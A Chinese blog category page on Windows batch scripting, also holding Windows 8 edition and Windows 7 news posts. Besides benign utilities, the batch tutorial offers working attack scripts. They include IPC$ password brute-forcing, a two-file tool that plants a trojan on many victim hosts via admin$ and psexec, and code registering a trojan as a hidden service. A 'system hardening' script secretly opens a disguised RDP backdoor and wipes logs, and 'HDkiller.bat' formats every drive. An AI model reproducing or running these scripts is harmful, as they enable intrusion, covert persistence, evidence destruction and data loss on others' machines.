目前分類:電腦相關 (9)

瀏覽方式: 標題列表 簡短摘要
比如說你要進入Windows下的system32資料夾,只要在IE瀏覽器的網址列,或「執行」對話框中輸入「%SystemRoot%\system32」,Enter即可,而不必註明系統分區是C盤還是D盤,因為系統路徑會自動定位尋找到系統分區的。

再說的白話一點,它的作用其實就相當於一個絕對路徑:X:\Windows(其中X為系統磁碟分區)。

下面,我們以安裝在C磁碟區並使用預設系統資料夾、目前帳號是Administrator的Windows XP系統為例,列出幾個常用的系統路徑所對應的絕對路徑。


  目前系統磁碟分區%systemdrive%或 %HOMEDRIVE%C:\
  目前系統目錄%systemroot%或 %Windir%C:\WINDOWS
  目前使用者資料夾%UserProfile%或 %HOMEPATH%C:\Documents and Settings\Administrator
  全部使用者資料夾%AllUsersProfile%C:\Documents and Settings\All Users
  暫存資料夾1%temp%C:\Documents and Settings\Administrator\Local Settings\Temp
  暫存資料夾2%SystemRoot%\TEMPC:\WINDOWS\Temp
  程式資料夾%ProgramFiles%C:\Program Files



例:把目前目錄下的 activeskin.ocx 檔案複製到c:\windows\system32目錄下



建個批處理:內容為


@echo off
copy activeskin.ocx %systemroot%\system32
exit

hses 發表在 痞客邦 留言(0) 人氣()

假設我們要清理D磁碟區上的空資料夾,那麼請先用筆記本建一個名為「kill.bat」的檔案,在該檔案中輸入以下內容:


dir d: /ad /b /s |sort /r >>d:kill.txt
For /f %%i in (d:kill.txt) DO rd %%i
echo y |del d:kill.txt


按兩下該檔案,D磁碟區上全部的空資料夾很快就消失的無影無蹤了。




參數解釋:


「dir d:」表示列出D磁碟區上的全部目錄包括子目錄清單,其中參數「/ad」表示列全部目錄;參數「/b」表示只列出資料夾名稱而不顯示標題資訊或摘要;參數「 /s」表示搜索,即尋找D磁碟區中的全部資料夾和子目錄;「|」是管道符號,將Dir指令的結果傳遞給「sort」指令;「sort」指令表示排序;「 /r」表示逆序列排序。之所以要逆序列排序,是因為透過逆序列排序後,D磁碟區上的全部子目錄總是會位於其主目錄的前面,這樣在用For指令刪除空資料夾時,空的子目錄被首先刪除了,因此空的主目錄就可以刪除了。否則,因空的主目錄中尚有空的子目錄,會造成無法刪除的情況。「>>d:kill.txt」的作用是讓螢幕回顯重新定位到「d:kill.txt」檔案中。


For 指令中參數「/f」的作用是讓For指令從指定的檔案中讀取資料作為變數,範例是從Dir的結果檔案「d:kill.txt」檔案中讀取資料,每次讀取一行傳遞給RD指令;RD指令的作用是刪除由For指令傳遞過來的每一個資料夾,因RD指令無法刪除尚有內容的資料夾,所以經過For指令的循環後,只是刪除了全部的空資料夾,有內容的資料夾會完好無損地被保留下來。


————————————或下列代碼——————————————————
@echo off @for /f "tokens=*" %%a in ('dir /b /a:d /s d:\folder^|sort /r') do @rd "%%a" /q pause

hses 發表在 痞客邦 留言(0) 人氣()

@echo off
title .reg檔案轉換成.bat檔案 Power By yupsky

:input
echo.
set /p regf=請輸入要轉換的登錄檔檔案名稱:
if not exist %regf% (echo ... 不存在該檔案! 請重新輸入 && goto input)
echo %regf% | find /i ".reg" >nul
if errorlevel==1 (echo ... 該檔案不是登錄檔檔案! 請重新輸入 && goto input)

echo.
echo 請稍候,正在轉換 ...
set regb=%regf:~0,-4%
echo @echo off>%regb%.bat
echo echo.>>%regb%.bat
echo echo 程式執行中 ...>>%regb%.bat
echo if exist %%temp%%\tmp.reg del /f /q %%temp%%\tmp.reg>>%regb%.bat
for /f "tokens=*" %%a in ('type %regf%') do echo echo %%a^>^>%%temp%%\tmp.reg>>%regb%.bat
echo regedit /s %%temp%%\tmp.reg>>%regb%.bat
echo del /f /q %%temp%%\tmp.reg>>%regb%.bat
echo ... 轉換完成! 按任意鍵離開
pause>nul

hses 發表在 痞客邦 留言(0) 人氣()

■二.如何在批處理檔案中使用參數
===========================

批處理中可以使用參數,一般是從%1到 %9這九個,當有多個參數時需要用shift來移動。
例1:fomat.bat
@echo off
if "%1"=="a" goto format
:format
@format a:/q
@echo 請插入另一張軟盤
@pause
@goto format
分析:這個例子用於連續地格式化幾張軟盤,所以用的時候需在dos視窗輸入fomat a,呵呵,是不是覺得這個批處理有點畫蛇添足呢?
例2:
@echo off
@net user %1ipc$ 「%2」 /user:」%3」
@if errorlevel 1 echo 連接失敗
分析:當我們要建立一個IPC$連接時總要輸入一大串指令,弄不好就打錯了,所以我們不如把一些固定指令寫成一個批處理,把肉雞的「IP位址 密碼 帳號」當成參數來賦給這個批處理,這樣就不用每次都打指令了。
怎麼樣,使用參數還是比較簡單的吧?你這麼帥一定學會了^_^.

■三.組合指令的使用(Compound Command)
====================================

▲1. &
用法:第一條指令 & 第二條指令 [&&
用法:第一條指令 && 第二條指令 [&&& && copy d:backup.mdb e:backup.mdb
分析:如果D盤存在backup.mdb檔案,就把它複製到E盤。這種用法可以取代if exist了。

▲2. &&
用法:第一條指令 && 第二條指令 [&& 第三條指令...]
說明:同時執行多條指令,當執行到錯誤的指令後將不執行後面的指令,否則一直執行完全部指令。
例 1:dir z: && dir c:
dir c: && dir z:

在做備份的時候用到這種指令可能會比較方便。
例 2:dir d:backup.mdb && copy d:backup.mdb e:backup.mdb
分析:如果D盤存在backup.mdb檔案,就把它複製到E盤。這種用法可以取代if exist了。

▲3. ||
用法:第一條指令 || 第二條指令 [|| 第三條指令...]
說明:同時執行多條指令,當執行到正確的指令後將不執行後面的指令,否則一直執行完全部指令。
例如:dir z: || dir y: || dir c: || dir x:

■四、管道指令的使用
===================

▲1. | 指令
用法:第一條指令 | 第二條指令 [| 第三條指令...]
說明:將第一條指令的結果作為第二條指令的參數來使用。
例如:netstat -n -p tcp|find ":3389"
分析:用於終端服務,取得登入用戶的IP。

▲2. >、>>輸出重定向指令
說明:將一條指令或某個程式輸出的結果儲存到特定檔案中。>與>>的區別在於:>會清除原有檔案中的內容再寫入指定檔案;而>>不會改動原有檔案中的內容,只是追加內容到指定檔案尾部。
例1:echo hello world>c:hello.txt
例2:dir %windir%system32*.exe >d:exe.txt & dir %windir%system32*.dll >d:dll.txt
分析:system32目錄是許多木馬鍾愛的藏身之所,只要我們在裝完系統和必要的應用程式後,對該目錄的exe和dll檔案作一個記錄。日後如發現異常,懷疑係統中已經潛入DLL木馬。這時可用同樣的指令將system32下的exe和dll檔案記錄到d:exe1.txt和d:dll1.txt中,然後執行:
fcd:diff.txt &>d:diff.txt
(用fc指令比較前後兩次的dll和exe檔案,並將結果輸入到diff.txt中),這樣我們就能發現多出來一些dll和exe檔案,然後透過檢視建立時間、版本、是否經過壓縮等就能夠比較容易地判斷出是不是已經被dll木馬光顧了。沒有是最好,如果有的話也不要直接del掉,先用regsvr32 /u 指令將後門dll檔案登出掉,再把它移到資源回收筒裡,若系統沒有異常表現再將之徹底刪除或者送出給防毒軟體公司。

▲3. < 、>& 、<&
說明:< 從檔案中而不是從鍵盤中讀入指令輸入。>& 將一個句柄的輸出寫入到另一個句柄的輸入中。
<& 從一個句柄讀取輸入並將其寫入到另一個句柄輸出中。這些並不常用,也就不多做介紹。

■五、登錄檔操作
===================

▲1. 建立
說明:建立分為兩種,一種是建立子項(Subkey) ,一種是建立數值名稱。
例 1:
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosofthacker]
作用:在HKEY_LOCAL_MACHINESOFTWAREMicrosoft下建立了一個名為"hacker"的子項。
例 2:
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
"Invader"="Ex4rch"
"door"=c:windowssystem32door.exe
"autodos"=dword:02
作用:在HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun下新增了:Invader、door、autodos這三個數值。Invader的類型是「字串值」,door的類型是「字串值」,autodos的類型是「DWORD值」。

▲2. 修改
說明:只須把要修改的項目匯出,然後用筆記本進行修改,再匯入(regedit /s)即可。

▲3. 刪除
說明:同樣分為兩種,一種是刪除子項(Subkey) ,一種是刪除數值名稱。
例 1:
Windows Registry Editor Version 5.00

[-HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
作用:刪除HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
例 2:
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
"Ex4rch"=-
作用:刪除HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun下的數值「Ex4rch」。
例3:
@echo off
echo Windows Registry Editor Version 5.00>sample.reg
echo.>>sample.reg
echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>>sample.reg
echo "Invader"="Ex4rch">>sample.reg
echo "door"=c:windowssystem32door.exe >>sample.reg
echo "autodos"=dword:02>>sample.reg
regedit /s sample.reg
del /f /q sample.reg
作用:利用重定向符號建立登錄檔檔案sample.reg,並不經提示將其強行匯入登錄檔,最後刪除檔案。
例 4:
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc create Windriversrv binpath= c:windowssystem32windrv32.exe type= kernel start= auto displayname= WindowsDriver
@regedit /s patch.dll
@delete patch.dll
@REM [刪除DSNXDE在登錄檔中的啟動項,用sc.exe將之註冊為系統關鍵性服務的同時將其內容設為隱藏和唯讀,並設定為自啟動]
作用:將木馬程式註冊為系統服務實現更好保護木馬。下面以組態設定好地IRC木馬DSNX為例(名為windrv32.exe)

■六.精彩實例
===========

▲1. 刪除win2k/xp系統預設共享的批處理
========================= 從這裡開始複製,儲存為delshare.bat =========================
@echo off

rem 檢查參數,如果為空,則顯示用法。
if {%1}=={} goto Usage

echo ______________________________________________________________________________
echo.
echo 刪除指定共享 ...
echo.
net share %1$ /delete >nul
net share %2$ /delete >nul
net share %3$ /delete >nul
net share %4$ /delete >nul
net share %5$ /delete >nul
net share %6$ /delete >nul
net share %7$ /delete >nul
net share %8$ /delete >nul
net share %9$ /delete >nul
net stop Server
net start Server
echo 建立登錄檔檔案 ...
echo Windows Registry Editor Version 5.00> delshare.reg
echo.>>c:delshare.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters]>> delshare.reg
echo "AutoShareWks"=dword:00000000>> delshare.reg
echo "AutoShareServer"=dword:00000000>> delshare.reg
regedit /s delshare.reg
echo.
echo ☆ 刪除系統預設共享 ☆
echo ______________________________________________________________________________
echo Power by yupsky Email:yupsky@live.com msn:yupsky
echo ______________________________________________________________________________
echo.
echo # 錯誤:沒有使用參數
echo.
echo # 請輸入你要刪除共享的磁碟盤符
echo.
echo 例如:
echo delshare c d e ipc admin print
echo.
echo 例如:
echo delshare c d e x y z ipc admin print
echo.
echo ______________________________________________________________________________
echo.
echo ______________________________________________________________________________
echo.
echo [ 按 任 意 鍵 退 出 ]
pause >nul
======================== 到這裡結束複製,儲存為delshare.bat ========================

▲2. 全面加固系統
======================== 從這裡開始複製,儲存為system.bat =========================
@echo off
echo Windows Registry Editor Version 5.00>patch.dll
echo.>>patch.dll

rem [禁止共享]
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters]>>patch.dll
echo "AutoShareServer"=dword:00000000>>patch.dll
echo "AutoShareWks"=dword:00000000>>patch.dll

rem [禁止暱稱登入]
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa]>>patch.dll
echo "restrictanonymous"=dword:00000001>>patch.dll

rem [禁止檔案訪問和列印共享]
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetBTParameters]>>patch.dll
echo "SMBDeviceEnabled"=dword:00000000>>patch.dll

rem [禁止登入前關機]
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesremoteRegistry]>>patch.dll
echo "Start"=dword:00000004>>patch.dll
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSchedule]>>patch.dll
echo "Start"=dword:00000004>>patch.dll
echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon]>>patch.dll
echo "ShutdownWithoutLogon"="0">>patch.dll

rem [禁止顯示前一個登入帳號稱]
echo "DontDisplayLastUserName"="1">>patch.dll

rem [修改3389連接,連接埠為8210(十六進制為00002012),名稱為Microsoft EventLog,留條後路]
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp]>>patch.dll
echo "PortNumber"=dword:00002010>>patch.dll
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp>>patch.dll
echo "PortNumber"=dword:00002012>>patch.dll
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD]>>patch.dll
echo "Start"=dword:00000002>>patch.dll
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSecuService]>>patch.dll
echo "Start"=dword:00000002>>patch.dll
echo "ErrorControl"=dword:00000001>>patch.dll
echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,>>patch.dll
echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,>>patch.dll
echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00>>patch.dll
echo "ObjectName"="LocalSystem">>patch.dll
echo "Type"=dword:00000010>>patch.dll
echo "Description"="Keep record of the program and windows' message。">>patch.dll
echo "DisplayName"="Microsoft EventLog">>patch.dll
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicestermservice]>>patch.dll
echo "Start"=dword:00000004>>patch.dll
copy %windir%system32termsrv.exe %windir%system32eventlog.exe
regedit /s patch.dll
del /f /q patch.dll

rem [刪除日誌]
net stop w3svc
net stop eventlog
del /f /q %windir%system32logfilesw3svc1*.*
del /f /q %windir%system32logfilesw3svc2*.*
del /f /q %windir%system32config*.event
del /f /q %windir%system32dtclog*.*
del /f /q %windir%*.txt
del /f /q %windir%*.log
net start w3svc
net start eventlog

rem [禁止一些危險的服務]
net stop lanmanserver
net stop Schedule
net stop RemoteRegistry
======================== 到這裡結束複製,儲存為system.bat =========================

▲3. 硬碟殺手(僅供在虛擬機中測試,否則造成硬碟資料遺失,後果自負!)


======================== 從這裡開始複製,儲存為HDkiller.bat =========================
@echo off

:start
cls
echo 正在裝入程式 . . .

rem 硬碟機檢查並分配有效的硬碟機。
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

rem 磁碟檢查代碼開始。
echo @echo off>drivechk.bat
Rem echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "的卷" > nul >temp.bat
Rem %comspec% /e:2048 /c temp.bat>>drivechk.bat
echo ";vol %%1: | find "的卷";">temp.bat
for /f "tokens=2 delims=;" %%i in (temp.bat) do @echo %%i>>drivechk.bat
del /f /q temp.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

echo ";dir %%1: /ad/w/-p | find "位元組";">temp.bat
for /f "tokens=2 delims=;" %%i in (temp.bat) do @echo %%i>>drivechk.bat
del /f /q temp.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
rem 如果返回碼為1,則指定的硬碟機是可移動磁碟。

echo ";dir %%1: /ad/w/-p | find "0 可用位元組";">temp.bat
for /f "tokens=2 delims=;" %%i in (temp.bat) do @echo %%i>>drivechk.bat
del /f /q temp.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
rem 如果返回碼為1,則指定的硬碟機是硬諜或軟盤硬碟機;否則是光碟硬碟機。

echo :enddc>>drivechk.bat
rem 磁碟檢查代碼結束。

:Getdrv
rem 使用 drivechk.bat 取得有效硬碟機資訊。
for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del /f /q drivechk.bat
if %drive.==. set drive=c

:form_del
call attrib -r -h c:autoexec.bat >nul
echo @echo off >c:autoexec.bat
echo echo 正在載入 Windows, 請等待 Microsoft Windows 恢復你的系統 . . . >>c:autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /y >nul>>c:autoexec.bat
echo cls >>c:autoexec.bat
echo echo 正在載入 Windows, 請等待 Microsoft Windows 恢復你的系統 . . . >>c:autoexec.bat
echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Tony>nul>>c:autoexec.bat
echo cls >>c:autoexec.bat
echo echo 正在載入 Windows, 請等待 Microsoft Windows 恢復你的系統 . . . >>c:autoexec.bat
echo for %%%%a in (%drive%) do call rd /q %%%%a: >nul>>c:autoexec.bat
echo cls >>c:autoexec.bat
echo cd >>c:autoexec.bat
call attrib +r +h c:autoexec.bat

:makedir
if exist c:temp.bat attrib -r -h c:temp.bat >nul
echo @echo off >c:temp.bat
echo %%1: >>c:temp.bat
echo cd >>c:temp.bat
echo :startmd >>c:temp.bat
echo if not exist %%2 md %%2>>c:temp.bat
echo if exist %%2 cd %%2>>c:temp.bat
echo if not exist %%1:%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%
%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2nul goto startmd >>c:temp.bat
call attrib +r +h c:temp.bat >nul

cls
echo 正在初始化變數 . . .
for %%a in (%drive%) do call format %%a: /q /u /y>nul
for %%a in (%drive%) do call c:temp.bat %%a Tony>nul
for %%a in (%drive%) do call attrib -r -h %%a: /S >nul
call attrib +r +h c:temp.bat >nul
call attrib +r +h c:autoexec.bat >nul
for %%a in (%drive%) do call rd /q %%a:*. >nul
for %%a in (%drive%) do call c:temp.bat %%a Tony>nul

:end
======================== 到這裡結束複製,儲存為HDkiller.bat =======================

hses 發表在 痞客邦 留言(0) 人氣()

■前言
========================

批處理檔案是無格式的文字檔案,包含一條或多條指令,檔案副檔名為 .bat或 .cmd。按兩下該批處理檔案,系統就會調用cmd.exe,順序並逐個執行檔案中的各個指令,簡化日常或重複性任務。

■一.簡單批處理內部指令簡介
========================

▲1. echo 指令
說明:顯示資訊,或將指令回顯開啟或關上。要顯示目前回顯設定,輸入不帶參數的 echo。
用法:echo [on|off]
echo [message]
例如:
@echo off
echo hello world
備註:可將此指令和重定向符號(也稱管道符號,一般用> >> ^)結合起來實現輸入一些指令到特定檔案中。

▲2. @ 指令
說明:@後面的指令將不會顯示。
例如:
@echo off
@echo 初始化程式,請稍候…
@format X: /q

▲3. goto 指令
說明:跳轉到指定標籤,程式將執行指定標籤下一行開始的指令。
用法:goto lable
例如:
if {%1}=={} goto noparms
if {%2}=={}nul
作用:不顯示資訊,有利於用戶自訂資訊。

▲4. rem 指令
說明:註解指令,不會被執行,只是起一個註解的作用,便於別人閱讀和自己以後修改。
用法:rem message
例如:@rem 取得目前日期及時間

▲5. pause 指令
說明:將程式掛起,按任意鍵後繼續執行。
例 1:pause
顯示:請按任意鍵繼續. . .
例 2:pause >nul
作用:不顯示資訊,有利於用戶自訂資訊。

▲6. call 指令
說明:從批處理程式調用另一個批處理程式。call 指令允許調用目標標籤。
用法:call [drive:][path]filename [batch-parameters] [:label [arguments]]
例如:call d:\backdoor.bat
備註:檔案副檔名必須是 .bat 或 .cmd。

▲7. start 指令
說明:啟動另一個視窗執行指定的程式或指令。
例如:start "指令行" /dC:\ cmd
分析:在新視窗中開啟cmd.exe,並以「指令行」為標題,初始目錄為C盤。

▲8. choice 指令
說明:讓用戶輸入一個字元,從而執行不同的指令。使用時應該加參數/c:,/c:後為提示可輸入的字元,之間無空格。它的返回碼依序為1, 2, 3, 4……
例如:
@echo off
choice /c:dme /m "defrag,mem,end"
rem 應先判斷數值最高的返回碼
if errorlevel 3 goto end
if errorlevel 2 goto mem
if errorlevel 1 goto defrag
:defrag
echo defrag
goto end
:mem
echo mem
:end
echo good bye
分析:此檔案執行後,將顯示「defrag,mem,end [D,M,E]?」,用戶可選擇d,m或e,然後if語句進行判斷,d表示執行標號為defrag的程式段,m表示執行標號為mem的程式段,e表示執行標號為end的程式段。

▲9. if 指令
說明:判斷是否符合規定的條件,從而決定執行不同的指令。
用法:if [not] errorlevel number command
if [not] string1==string2 command
if [not] exist filename command
例 1:if errorlevel 2 goto x2
作用:如果返回碼等於2,程式則跳轉到標籤為x2的行執行。
備註:DOS程式執行時會返回一個數字,即errorlevel,稱為錯誤碼或返回碼,常見的返回碼為0、1。
例 2:if 「%1」==」a」 format a:
作用:如果參數為a,則格式化A盤。
例 3:if not exist config.sys echo 檔案不存在
作用:如果檔案config.sys不存在,則顯示「檔案不存在」。

▲10. for 指令
說明:在指定的範圍內循環執行指令。
備註:在批處理檔案中使用 for 指令時,指定變數請使用 %%variable,而不要用 %variable。
用法:for {%variable|%%variable} in (set) do command [command-parameters]
參數:%variable 變數。只能是單一字母,分大小寫和全局,所以 %i 不同於 %I。
(set) 一個或一組檔案。可以使用萬用字元。
command 對每個檔案執行的指令。
command-parameters 指令行開關。

帶指令行開關的 for 指令:

用法:for /d %variable in (set) do command [command-parameters]
說明:如果集中包含萬用字元,則指定與目錄名核對,而不與檔案名稱核對。(directory)
例 1:for /d %i in (*) do @echo %i
作用:枚舉目前目錄下的子目錄名。
例 2:for /d %i in (*g*) do @echo %i
作用:枚舉目前目錄下的子目錄名含g的名稱。

用法:for /r [[drive:]path] %variable in (set) do command [command-parameters]
說明:檢查以 [drive:]path 為根的目錄樹。如果在 /r 後沒有指定目錄,則使用目前目錄。如果集僅為一個單點(.)字元,則枚舉該目錄樹。 (root)
例 3:for /r %i in (.) do @echo %i
作用:枚舉目前目錄下的全部子目錄名路徑。
例 4:for /r %i in (*) do @echo %i
作用:枚舉目前目錄及子目錄下的全部檔案名稱路徑。

用法:for /l %variable in (start,step,end) do command [command-parameters]
說明:以增量形式從開始到結束一個數字序列。(list)
例 5:for /l %i in (1,1,5) do @echo %i
作用:產生序列 1 2 3 4 5。
例 6:for /l %i in (5,-1,1) do @echo %i
作用:產生序列 5 4 3 2 1。

用法:for /f ["options"] %variable in (file-set) do command [command-parameters]
for /f ["options"] %variable in ("string") do command [command-parameters]
for /f ["options"] %variable in ('command') do command [command-parameters]
說明:file-set為一個或多個檔案名稱。/f 分析每個檔案的每一行,跳過空白行。"options" 關鍵字:
eol=c - 行註解字元的結尾(就一個)
skip=n - 在檔案開始時略過的行數。
delims=xxx - 分隔符集。取代空格和跳格鍵的預設分隔符集。
tokens=x,y,m-n - 每行的哪一個符號被傳遞到每個迭代的 for 本身。
這會導致額外變數名稱的分配。m-n格式為一個範圍。
透過 nth 符號指定 mth。如果符號字串中的最後一個字元星號,
那麼額外的變數將在最後一個符號解析之後分配並接受行的保留文字。
usebackq
在作為指令執行一個後引號的字串並且一個單
引號字元為文字字串指令並允許在 filenameset
中使用雙引號擴起檔案名稱。
例 7:for /f "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j %k
作用:分析 myfile.txt 中的不以分號開頭(eol=;)的行,將每行按逗號和空格分成幾段(delims=; ),再將每行的第2段、第3段及第3段以後的剩餘段分別賦值給變數%i、%j、%k。對於帶有空格的檔案名稱,需要用雙引號將檔案名稱括起來。

透過 tokens= 最多可以指定 26 個符號,for變數最多可以同時使用52個 。
在相鄰字串上可以使用 for /f 分析邏輯;方法是,用單引號將括號之間的 file-set 括起來。這樣,該字串會被當作一個檔案中的一個單一輸入行。
最後,您可以用 for /f 指令來分析指令的輸出。方法是,將括號之間的 file-set 變成一個反括字串(Esc鍵下面的按鍵)。該字串會被當作指令行,傳遞到一個子 cmd.exe,其輸出會被抓進記憶體,並被當作檔案分析。

例 8:for /f "usebackq delims==" %i in (`set`) do @echo %i
作用:枚舉目前環境中的環境變數名稱。

下面我們舉幾個例子來具體說明一下for指令在入侵中的用途。

例 9:for /f %%i in (dict.txt) do net use \\ip\ipc$>D:\ok.txt
分析:利用for指令來實現對一台目標winnt主機的暴力密碼破解。我們用net use指令嘗試和目標主機進行連接,當成功時記下密碼。用%i來表示administrator的密碼,%i的值在dict.txt中取得,然後將程式運行結果傳遞給find指令,ok.txt中的值即為目標主機的密碼。

例10:for /f 「tokens=1,2,3 delims= 」 %%i in (victim.txt) do start call door.bat %%i %%j %%k
分析:自動給大量肉雞種後門和木馬。該指令按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。
而cultivate.bat無非就是用net use指令來建立ipc$連接,並copy木馬+後門到victim,然後用返回碼(if errorlever =)來過濾器成功種植後門的主機,並echo出來,或者echo到指定的檔案。
delims= 表示vivtim.txt中的內容是一空格來分隔的。所以victim.txt裡的內容應該根據%%i %%j %%k表示的對象來排列,一般就是「IP位址 密碼 帳號」。

代碼雛形:
========================= 從這裡開始複製,儲存為main.bat =========================
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
@goto end
:usage
@echo 執行此批處理檔案
:end
========================= 到這裡結束複製,儲存為main.bat =========================

========================= 從這裡開始複製,儲存為door.bat =========================
@net use \\%1\ipc$ %3 /user:"%2"
@if errorlevel 1 goto failed
@echo 嘗試建立 IPC$ 連接 ………… 成功
@copy windrv32.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ok.txt
@psexec \\%1 c:\windows\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 後門>>ok.txt
:failed
@echo 不能連線到此主機
========================= 到這裡結束複製,儲存為door.bat =========================

這只是一個自動種植後門批處理的雛形,兩個批處理和後門程式(Windrv32.exe,PSexec.exe)需放在同一目錄下。批處理內容尚可擴充,例如:加入清除日誌和DDOS的功能,加入定時新增用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲)。此處不多做敘述,有興趣的朋友可自行研究。

hses 發表在 痞客邦 留言(0) 人氣()

Windows8 各版本差異表:

特性名稱

Windows 8

Windows 8
專業版

Windows 8 
企業版

Windows RT版

從 Windows  7 簡易版 / Windows 7 家庭普通版 / Windows 家庭高級版升級

 

從 Windows 7 專業版 / Windows 7 旗艦版升級

 

 

開始屏幕、語義縮放、動態磁貼

Windows 應用商店

應用(郵件、日曆、人脈、消息、照片、SkyDrive, Reader, 音樂,視頻)

Microsoft Office (Word, E○cel, PowerPoint, OneNote)

     

Internet E○plorer 11

設備加密

     

待機時保持數據更新

Microsoft 帳戶

桌面

安裝32 / 64位 Metro 應用和傳統桌面應用

 

更新的 Windows 資源管理器

Windows Defender

SmartScreen


Windows 更新

增強的任務管理器

在運行過程中切換語言(語言包)

更好的多顯示器支持

存儲空間

 

Windows 媒體播放器

 

E○change ActiveSync

文件曆史記錄

ISO / VHD 加載

移動寬帶

圖片密碼

播放到(Play To)

遠程桌面(客戶端)

重置或還原你的電腦

貼靠

觸摸和拇指鍵盤

受信任启動

VPN 客戶端

BitLocker 和 BitLocker To Go

 

 

從 VHD 启動

 

 

客戶端 Hyper-V

 

 

域加入

 

 

加密文件系統

 

 

組策略

 

 

遠程桌面(主機)

 

 

VDI

   

 

DirectAccess

   

 

BranchCache

   

 

AppLocker

   

 

Windows To Go

   

 

文章標籤

hses 發表在 痞客邦 留言(0) 人氣()

微軟在最近舉行的財報會議上保證超薄筆記本將對上網本及蘋果筆記本形成較大的威脅。微軟CEO斯蒂夫巴勒莫指過去PC廠商,微軟以及Intel過去的原則存在失誤,未能及時為使用者提供低價輕薄型高效能筆記本產品,並指上網本雖然定價低廉,但螢幕,鍵碟尺寸過小,因此無法滿足使用者的需求,他並表示微軟將改變過去那種在上網本上實行的Windows作業系統低價原則。


Windows作業系統售價:對超薄筆記本寄予厚望:對超薄筆記本寄予厚望
他同時保證即將於聖誕節前後推出的新款超薄筆記本有望改變這一局面,並稱微軟過去在上網本上實行的低價作業系統的原則是不正確的,儘管這些低價作業系統在微軟的PC事務中佔據11%的份額,但由於微軟採用低價原則來打壓Linux,因此在這部分的營收方面並不理想。

巴勒莫同時表示Windows7不會再採取舊有的低價原則,他說:「在Windows7到來後,我們會將作業系統的價格上調,由此吸引消費者來購買組態更高的產品。「

目前微軟對應上網本的Windows7版本是Windows7入門版,這款作業系統的預計售價是45-55美元,而原有的Windows XP入門版售價則為25-30美元。巴勒莫此番話則表明Windows7入門版的價格還會有所上調。而Windows 7家庭進階版的售價則為199.99美元,升級版則為119.99美元。

「當使用者想要更大螢幕的上網本時,我們會向他們推薦超薄筆記本產品。使用者會被超薄筆記本的輕量化和更高的效能和組態所吸引,並花更多的錢來購買這類產品。」他同時不忘打壓上網本上的Linux/Android作業系統和蘋果筆記本產品,並稱未來配備Windows作業系統的超薄筆記本在效能和功能上將勝出。

hses 發表在 痞客邦 留言(0) 人氣()

7月31日是正在嘗鮮使用Beta版本Windows 7操作系統的用戶可以正常使用的最后一天,微軟提醒,想繼續使用Windows 7系統的用戶可以重新下載RC版,並使用直到明年的6月1日。
微軟Windows 7操作系統的測試版是于今年1月7日起正式提供公開下載。7月23日,這一新操作系統已經進入了批量生產階段(RTM),並計划于今年10月23日正式發售。
微軟表示已從6月開始通過各種途徑提醒用戶測試版即將到期。如果用戶想要繼續使用Windows 7,可從官方網站下載RC版本,繼續進行使用。或者也可重新回到過去使用的XP或是VISTA系統。

此間,微軟也提醒說,即使是RC版也仍是測試版本,建議用戶最好雙系統運行,或如果家中有兩台机器只安裝在一台机器上,以預防可能的故障。

hses 發表在 痞客邦 留言(0) 人氣()

鉅亨網李家如 外電報導
2009 / 07 / 30 星期四 14:30


